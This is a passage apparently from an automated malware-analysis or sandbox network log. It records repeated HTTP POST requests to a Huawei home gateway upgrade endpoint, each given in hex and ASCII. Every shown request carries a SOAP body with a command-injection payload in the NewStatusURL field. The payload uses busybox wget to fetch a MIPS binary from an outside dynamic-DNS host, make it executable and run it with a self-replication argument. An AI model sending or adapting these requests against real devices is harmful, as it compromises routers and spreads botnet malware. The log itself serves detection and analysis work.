70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 